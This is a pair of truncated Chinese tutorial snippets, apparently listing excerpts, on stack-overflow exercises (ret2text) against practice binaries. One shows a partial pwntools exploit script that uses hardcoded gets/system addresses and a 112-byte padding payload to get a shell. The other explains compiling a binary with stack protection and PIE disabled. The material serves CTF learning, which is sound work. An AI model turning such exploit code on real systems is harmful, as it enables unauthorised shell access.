选择在 bss 段的 buf2 写入,再将 buf2 的地址作为 system 的参数传入来获取 shell gets 地址 gets system 地址 system exp #!/usr/bin/env python#-*- coding:utf-8 -*-frompwnimport*p=process('./ret2text3_32')gets=0x08048460system=0x08048490buf2=0x0804A080payload='A'*112payload+=p32(get...
生成64位可执行文件,-no-pie 去除地址随机化,-fno-stack-protector去除canary机制溢出保护。 gcc ret2text_func.c -no-pie -fno-stack-protector -o ret2text_func_x86_1 checksec检查一下,没有问题 看代码可以很容易发现,func函数中就有可以直接调用的system函数,且其参数shell = “/bin/sh”已经满足getshe...